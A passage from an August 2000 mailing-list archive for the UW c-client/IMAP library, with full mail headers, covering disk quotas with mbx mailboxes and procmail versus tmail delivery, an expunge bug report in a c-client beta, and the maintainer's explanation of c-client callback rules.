runs fine, even procmail are denied to append a message to a mailbox where the user quota are gone. I use red hat 6.2 (kernel 2.2.14)and imapd 4.7. My problem begins when I use mbx format mailboxes, that are faster and recommneded by UW. I think I have found a kind of 'deadlock' in the following situation: A user have, for example a 10MB quota, and his existing mailboxes use 8MB. If he receives a message that's 1.5MB in size, procmail can deliver it to his unix mailbox (/var/spool/mail/$user), in a total of 9.5MB. Everything is still fine. But when the user tries to contact the imap server, the imap tries to transfer this new message to his mbx INBOX that is under his home directory, but it can't, I think because it runs in user space and tries to delete the message from /var/spool/mail just after copying it to INBOX, so in the meanwhile the quota expires. As a consequence, the transfer is not done and the user can't even access his existing INBOX to try to delete some messages, and the root intervention is needed to solve the situation, maybe increasing temporarily the quota. Any suggestions? Thanks in advance. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Aug 1 14:44:15 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 1 Aug 2000 14:44:14 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id OAA28673 for ; Tue, 1 Aug 2000 14:44:13 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id OAA01143; Tue, 1 Aug 2000 14:44:10 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id OAA25646; Tue, 1 Aug 2000 14:43:29 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id OAA118676 for ; Tue, 1 Aug 2000 14:38:23 -0700 Received: from guiness.netcomsa.com ([216.72.122.3]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id OAA19337 for ; Tue, 1 Aug 2000 14:38:20 -0700 Received: from localhost (mike@localhost) by guiness.netcomsa.com (8.8.8/8.8.8) with ESMTP id PAA29557; Tue, 1 Aug 2000 15:38:18 -0600 Message-Id: Date: Tue, 1 Aug 2000 15:38:18 -0600 (CST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mike Trank To: "Marco Antonio V. Assad" Cc: c-client@u.washington.edu Subject: Re: Quota on imapd In-Reply-To: <01f001bffbfc$e7186810$2e03010a@trt> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Are you sure that your mailboxes are really mbx format? Procmail does "unix" type delivery to /var/spool/mail/, unless you fixed up something special with the "/etc/procmailrc". If you are using mbx format, you will want the mail to be directly delivered to the INBOX file in the user's home directory, instead of having procmail copy it to /var/spool/mail/. The way that you do the mbx delivery is with the "tmail" program, which is a separate download from the imap-2000 archive. It also has some stuff for converting mailboxes from unix format to mbx. tmail doesnt do anything to /var/spool/mail/, and you should get rid of those files so that imapd, ipop3d and any other c-client program that you write go straight to the $HOME/INBOX file. That means that you will want "/home" to be a really big filesystem, because all the mail will be stored there. On Tue, 1 Aug 2000, Marco Antonio V. Assad wrote: > My problem begins when I use mbx format mailboxes, that are faster and > recommneded by UW. I think I have found a kind of 'deadlock' in the > following situation: A user have, for example a 10MB quota, and his existing > mailboxes use 8MB. If he receives a message that's 1.5MB in size, procmail > can deliver it to his unix mailbox (/var/spool/mail/$user), in a total of > 9.5MB. Everything is still fine. But when the user tries to contact the imap > server, the imap tries to transfer this new message to his mbx INBOX that is > under his home directory, but it can't, I think because it runs in user > space and tries to delete the message from /var/spool/mail just after > copying it to INBOX, so in the meanwhile the quota expires. As a > consequence, the transfer is not done and the user can't even access his > existing INBOX to try to delete some messages, and the root intervention is > needed to solve the situation, maybe increasing temporarily the quota. > > Any suggestions? > > Thanks in advance. > > > -- > ------------------------------------------------------------------ > For information about this mailing list, and its archives, see: > http://www.washington.edu/imap/c-client-list.html > ------------------------------------------------------------------ > From pinedev@shivax2.cac.washington.edu Tue Aug 1 17:06:47 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 1 Aug 2000 17:06:47 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id RAA02030 for ; Tue, 1 Aug 2000 17:06:46 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id RAA15417; Tue, 1 Aug 2000 17:06:44 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id RAA00529; Tue, 1 Aug 2000 17:06:16 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id RAA80604 for ; Tue, 1 Aug 2000 17:05:37 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id RAA02270 for ; Tue, 1 Aug 2000 17:05:36 -0700 Received: from shiva2.cac.washington.edu (shiva2.cac.washington.edu [140.142.100.202]) by mxout2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id RAA11132 for ; Tue, 1 Aug 2000 17:05:34 -0700 Received: from localhost (postmast@localhost) by shiva2.cac.washington.edu (8.10.1+UW00.04/8.10.1+UW00.04) with ESMTP id e7205Xd17794 for ; Tue, 1 Aug 2000 17:05:33 -0700 Message-Id: Date: Tue, 1 Aug 2000 17:05:32 -0700 (PDT) Reply-To: Stefan Vacek Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Stefan Vacek To: c-client@u.washington.edu Subject: bug in unix mailbox driver? MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: postmast@shiva2.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi folks, I tried the beta-release of the c-client lib from 07/03/2000 within pine 4.21 When I mark some messages deleted and expunge them, pine aborts with the message "inconsistent file size". Is this a bug in the c-client lib? TIA Stefan Stefan Vacek **** ry98@rz.uni-karlsruhe.de -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Aug 1 19:04:18 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 1 Aug 2000 19:04:17 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id TAA29720 for ; Tue, 1 Aug 2000 19:04:16 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id TAA08334; Tue, 1 Aug 2000 19:04:11 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id TAA07419; Tue, 1 Aug 2000 19:03:37 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id TAA99480 for ; Tue, 1 Aug 2000 19:02:40 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (azuma@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id TAA16160 for ; Tue, 1 Aug 2000 19:02:40 -0700 Message-Id: Date: Tue, 1 Aug 2000 18:57:21 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Stefan Vacek Cc: c-client@u.washington.edu Subject: re: bug in unix mailbox driver? In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 1 Aug 2000 17:05:32 -0700 (PDT), Stefan Vacek wrote: > I tried the beta-release of the c-client lib from 07/03/2000 within pine > 4.21 > When I mark some messages deleted and expunge them, pine aborts with the > message "inconsistent file size". Is this a bug in the c-client lib? Please forward to me a mailbox that demonstrates the problem along with precise instructions on how to reproduce it. It is preferable to send bug reports to me directly instead of the mailing list. From pinedev@shivax2.cac.washington.edu Tue Aug 1 21:26:41 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 1 Aug 2000 21:26:41 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id VAA06134 for ; Tue, 1 Aug 2000 21:26:40 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id VAA20704; Tue, 1 Aug 2000 21:26:38 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id VAA05357; Tue, 1 Aug 2000 21:26:10 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id VAA158134 for ; Tue, 1 Aug 2000 21:12:13 -0700 Received: from com.amulet.co.jp (com.amulet.co.jp [202.245.28.2]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id VAA29331 for ; Tue, 1 Aug 2000 21:12:11 -0700 Received: from amulet.co.jp ([202.245.28.103]) by com.amulet.co.jp (8.9.3/3.7Wpl2) with ESMTP id NAA06754; Wed, 2 Aug 2000 13:12:01 +0900 Message-Id: <3987A0C1.4B176840@amulet.co.jp> Date: Wed, 02 Aug 2000 13:17:05 +0900 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Hollis Blanchard To: Stefan Vacek Cc: c-client@u.washington.edu Subject: Re: bug in unix mailbox driver? References: MIME-Version: 1.0 Content-Type: text/plain; charset=iso-2022-jp Content-Transfer-Encoding: 7bit X-Sender: hollis@com.amulet.co.jp X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Stefan Vacek wrote: > > I tried the beta-release of the c-client lib from 07/03/2000 within pine 4.21 > When I mark some messages deleted and expunge them, pine aborts with the > message "inconsistent file size". Is this a bug in the c-client lib? For the record, I got the exact same thing, but only with local mailboxes. Again, my call flow is: mail_open mail_search_full mail_close(EXPUNGE) mm_searched: mail_setflags(DELETED) Subsequently examining the mailbox reveals a slightly screwed up file (the mail seemed to be deleted, but then most of it was pasted again at the bottom of the file). Maybe a memory glitch (missing a null terminator? who knows...) I reverted to imap-4.7c (I'm not sure I *need* imap-2000) and the problem went away. -Hollis (I send this to the mailing list so that people experiencing similar problems will know they're not alone.) From pinedev@shivax2.cac.washington.edu Wed Aug 2 00:48:48 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 2 Aug 2000 00:48:47 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id AAA18550 for ; Wed, 2 Aug 2000 00:48:46 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id AAA14501; Wed, 2 Aug 2000 00:48:43 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id AAA12533; Wed, 2 Aug 2000 00:48:10 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id AAA146288 for ; Wed, 2 Aug 2000 00:47:20 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (jjs@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id AAA14347 for ; Wed, 2 Aug 2000 00:47:20 -0700 Message-Id: Date: Tue, 1 Aug 2000 23:57:59 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Hollis Blanchard Cc: Stefan Vacek , c-client@u.washington.edu Subject: Re: bug in unix mailbox driver? In-Reply-To: <3987A0C1.4B176840@amulet.co.jp> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Two things: > mm_searched: > mail_setflags(DELETED) If this means that you are calling mail_setflags() from within your mm_searched() function, you have violated a fundamental rule of c-client. c-client routines can not be called recursively from a callback. Please reference the information in internal.txt, on the page labelled "Main Program Callbacks". More specifically, you MUST NOT call any mail_???() functions from any mm_???() functions. I understand that what you want to do is delete the messages that match the search. However, that is *NOT* the way to do it. The easiest correct way is simply to have a dummy routine for mm_searched(). Then after the mail_search_full() completes, build a sequence text for all messages which have elt->searched set, and then call mail_setflag() on the generated sequence text. > Maybe a memory glitch (missing a null terminator? who > knows...) What happened is that you corrupted c-client's memory structures with a forbidden calling sequence. This is a bug in your application, not c-client. I'm really surprised about your claim that it works in imap-4.7c. That's just good luck. Bad things are probably happening, you just don't realize it yet. Second, with regard to the following statement: > I reverted to imap-4.7c (I'm not sure I *need* imap-2000) and the problem > went away. > > (I send this to the mailing list so that people experiencing similar > problems will know they're not alone.) Statements such as that make my life as the developer of c-client more difficult. It can be harmful to tell other people to run an older version. In this case, it is. The problem that Stefan encountered has no relation to your problem, and is *more* likely in imap-4.7c than imap-2000. imap-2000 fixed all the cases of the problem Stefan encountered that I know of. If Stefan has discovered a problem that is unfixed in imap-2000, it is one that I do not know about. I am very eager to locate it and kill it. I want to produce an excellent software product, and I need your help. If you encounter something that appears to be a bug in c-client, please contact me directly with a bug report. Detail the problem, and if possible provide me with a procedure and/or sample data (e.g. message or mailbox) to demonstrate the problem. If the problem happens in your application, see if the problem happens in one of the standard c-client applications (mtest, imapd, etc.). There is certainly a place for anecdotes and folklore, particularly with techniques and tricks to get c-client to do things that even I hadn't anticipated. But please(!!) let's not do this with bugs or perceived bugs. There will be a new imap-2000 release candidate in about a week or so. I'm going through all the messages that came in while I was on vacation, and every bug report and suggestion will be considered before the new release candidate is packaged. This is an excellent time to get bugs fixed prior to a major release. Thank you for listening. From pinedev@shivax2.cac.washington.edu Wed Aug 2 06:23:45 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 2 Aug 2000 06:23:44 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id GAA28212 for ; Wed, 2 Aug 2000 06:23:43 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id GAA31127; Wed, 2 Aug 2000 06:23:41 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id GAA28872; Wed, 2 Aug 2000 06:23:05 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id GAA157524 for ; Wed, 2 Aug 2000 06:22:11 -0700 Received: from localhost.localdomain ([200.236.144.129]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id GAA05454 for ; Wed, 2 Aug 2000 06:22:07 -0700 Received: from marcova ([10.1.3.46]) by localhost.localdomain (8.9.3/8.9.3) with SMTP id KAA15229 for ; Wed, 2 Aug 2000 10:19:29 -0300 Message-Id: <001701bffc84$72193340$2e03010a@trt> Date: Wed, 2 Aug 2000 10:20:36 -0300 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Marco Antonio V. Assad" To: Subject: Re: Quota on imapd References: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > > Are you sure that your mailboxes are really mbx format? Procmail does > "unix" type delivery to /var/spool/mail/, unless you fixed up > something special with the "/etc/procmailrc". > Yes, they are. I have downloaded imap-tools from UW and know about the utilities, and have created the mbx mailboxes using mbxcreat. Here, mail are delivered in unix stile mailboxes by procmail and imapd transfers mail to the mbx mailbox. > If you are using mbx format, you will want the mail to be directly > delivered to the INBOX file in the user's home directory, instead of > having procmail copy it to /var/spool/mail/. > > The way that you do the mbx delivery is with the "tmail" program, which is > a separate download from the imap-2000 archive. It also has some stuff for > converting mailboxes from unix format to mbx. tmail doesnt do anything to > /var/spool/mail/, and you should get rid of those files so that > imapd, ipop3d and any other c-client program that you write go straight to > the $HOME/INBOX file. > Well, I know about tmail and thought that delivering directly to the mbx mailbox would be the solution. I understand that I would have to use the "-I #driver.mbx/INBOX". But as the man page for tmail states, if I use -I, tmail has to be set up suid root, and if I do that, I think it won't honor my quota when delivering mail, that's why I'm trying to avoid it and continue using procmail. > > On Tue, 1 Aug 2000, Marco Antonio V. Assad wrote: > > > My problem begins when I use mbx format mailboxes, that are faster and > > recommneded by UW. I think I have found a kind of 'deadlock' in the > > following situation: A user have, for example a 10MB quota, and his existing > > mailboxes use 8MB. If he receives a message that's 1.5MB in size, procmail > > can deliver it to his unix mailbox (/var/spool/mail/$user), in a total of > > 9.5MB. Everything is still fine. But when the user tries to contact the imap > > server, the imap tries to transfer this new message to his mbx INBOX that is > > under his home directory, but it can't, I think because it runs in user > > space and tries to delete the message from /var/spool/mail just after > > copying it to INBOX, so in the meanwhile the quota expires. As a > > consequence, the transfer is not done and the user can't even access his > > existing INBOX to try to delete some messages, and the root intervention is > > needed to solve the situation, maybe increasing temporarily the quota. > > > > Any suggestions? > > > > Thanks in advance. > > > > > > -- > > ------------------------------------------------------------------ > > For information about this mailing list, and its archives, see: > > http://www.washington.edu/imap/c-client-list.html > > ------------------------------------------------------------------ > > > From pinedev@shivax2.cac.washington.edu Wed Aug 2 09:58:39 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 2 Aug 2000 09:58:39 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id JAA09195 for ; Wed, 2 Aug 2000 09:58:38 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id JAA04536; Wed, 2 Aug 2000 09:58:35 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id JAA24034; Wed, 2 Aug 2000 09:57:55 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id JAA157638 for ; Wed, 2 Aug 2000 09:56:58 -0700 Received: from poseidon.rider.edu (root@poseidon.rider.edu [204.142.238.100]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id JAA01823 for ; Wed, 2 Aug 2000 09:56:56 -0700 Received: from rider.edu (suave.rider.edu [204.142.238.105]) by poseidon.rider.edu (8.8.8+Sun/8.8.8) with ESMTP id MAA00313; Wed, 2 Aug 2000 12:56:44 -0400 (EDT) Message-Id: <39885255.8DD00E2A@rider.edu> Date: Wed, 02 Aug 2000 12:54:45 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Ricardo Stella To: "Marco Antonio V. Assad" Cc: c-client@u.washington.edu Subject: Re: Quota on imapd References: <01f001bffbfc$e7186810$2e03010a@trt> MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="------------D5E1AA7733286483D60655B2" X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. --------------D5E1AA7733286483D60655B2 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sounds like you are using the MBOX driver to pull mail from /var/mail into the users's home directory... Then you would have a mail quota and a home directory quote... procmail is delivering to /var/mail and then the IMAP server moves it into the user's directory in mbx format... What about using tmail to deliver directly into the user's home directory, in mbx format ? You would have to deal with one quota only... My .02... "Marco Antonio V. Assad" wrote: > > Hi, > > I'm new in this list and tried to find something in the c-client archive > before sending this question to the list, but as I could not contact the ftp > server, here we go. > > I'm trying to set quotas in the filesystem where my imap mailboxes are > located. My /var/spool/mail and user's home directories are in the same > filesystem. If I just use unix format mailboxes, everything runs fine, even > procmail are denied to append a message to a mailbox where the user quota > are gone. I use red hat 6.2 (kernel 2.2.14)and imapd 4.7. > > My problem begins when I use mbx format mailboxes, that are faster and > recommneded by UW. I think I have found a kind of 'deadlock' in the > following situation: A user have, for example a 10MB quota, and his existing > mailboxes use 8MB. If he receives a message that's 1.5MB in size, procmail > can deliver it to his unix mailbox (/var/spool/mail/$user), in a total of > 9.5MB. Everything is still fine. But when the user tries to contact the imap > server, the imap tries to transfer this new message to his mbx INBOX that is > under his home directory, but it can't, I think because it runs in user > space and tries to delete the message from /var/spool/mail just after > copying it to INBOX, so in the meanwhile the quota expires. As a > consequence, the transfer is not done and the user can't even access his > existing INBOX to try to delete some messages, and the root intervention is > needed to solve the situation, maybe increasing temporarily the quota. > > Any suggestions? > > Thanks in advance. > > -- > ------------------------------------------------------------------ > For information about this mailing list, and its archives, see: > http://www.washington.edu/imap/c-client-list.html > ------------------------------------------------------------------ -- ------------------------------------------------------------------ Ricardo Stella O.I.T. (609)896-5000 x7436 _suAve_ Rider University *** Remove 'no-spam' from e-mail address before replying. *** --------------D5E1AA7733286483D60655B2 Content-Type: text/x-vcard; charset=us-ascii; name="stella.vcf" Content-Transfer-Encoding: 7bit Content-Description: Card for Ricardo Stella Content-Disposition: attachment; filename="stella.vcf" begin:vcard adr;dom:;;;Lawrenceville;NJ;08648; adr:;;2083 Lawreceville Road;Lawrenceville;NJ;08648; n:Stella;Ricardo tel;fax:1-609-219-4994 tel;work:1-609-896-5000 x7436 x-mozilla-html:FALSE url:http://poseidon.rider.edu org:Rider University;O.I.T. version:2.1 title:Manager x-mozilla-cpt:;-9584 fn:Ricardo Stella end:vcard --------------D5E1AA7733286483D60655B2-- From pinedev@shivax2.cac.washington.edu Wed Aug 2 13:27:12 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 2 Aug 2000 13:27:12 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id NAA06025 for ; Wed, 2 Aug 2000 13:27:11 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id NAA02011; Wed, 2 Aug 2000 13:27:09 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id NAA03767; Wed, 2 Aug 2000 13:26:40 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id NAA94956 for ; Wed, 2 Aug 2000 13:25:15 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (nightowl@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id NAA13069 for ; Wed, 2 Aug 2000 13:25:15 -0700 Message-Id: Date: Wed, 2 Aug 2000 13:23:32 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Marco Antonio V. Assad" Cc: c-client@u.washington.edu Subject: Re: Quota on imapd In-Reply-To: <001701bffc84$72193340$2e03010a@trt> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 2 Aug 2000 10:20:36 -0300, Marco Antonio V. Assad wrote: > But as the man page for tmail states, if I use -I, tmail > has to be set up suid root, and if I do that, I think it won't honor my > quota when delivering mail, that's why I'm trying to avoid it and continue > using procmail. tmail has to be setuid root, since it needs to be able to setuid to the user that it delivers mail to. But before doing any file I/O, tmail is setuid to the user and no longer to root, and as such it honors quotas. You should not need -I. If tmail is built with a c-client that has CREATEPROTO set to mbx, tmail will use the mbx format. From pinedev@shivax2.cac.washington.edu Thu Aug 3 02:57:01 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 3 Aug 2000 02:57:00 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id CAA12311 for ; Thu, 3 Aug 2000 02:56:58 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id CAA28968; Thu, 3 Aug 2000 02:56:56 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id CAA15756; Thu, 3 Aug 2000 02:56:31 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id CAA67810 for ; Thu, 3 Aug 2000 02:54:51 -0700 Received: from localhost.localdomain (IDENT:root@[202.106.155.57]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id CAA03780 for ; Thu, 3 Aug 2000 02:54:49 -0700 Received: from lemon ([202.106.29.29]) by localhost.localdomain (8.9.3/8.9.3) with SMTP id RAA16424 for ; Thu, 3 Aug 2000 17:53:57 +0800 Message-Id: <200008030953.RAA16424@localhost.localdomain> Date: Thu, 3 Aug 2000 17:52:51 +0800 Reply-To: zhuzhiyu@e139.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: zhuzhiyu To: "c-client@u.washington.edu" Mime-Version: 1.0 Content-Type: text/plain; charset="GB2312" Content-Transfer-Encoding: 7bit X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN hi all I use the perl module "Mail::Cclient" to access my mailbox, but I can't delete the message from the mailbox,and I also can't mark the message with such as "Seen","Answer".so I can't know whether I have readed a message. zhuzhiyu zhuzhiyu@e139.com -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Aug 3 08:36:11 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 3 Aug 2000 08:36:11 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id IAA31567 for ; Thu, 3 Aug 2000 08:36:10 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by 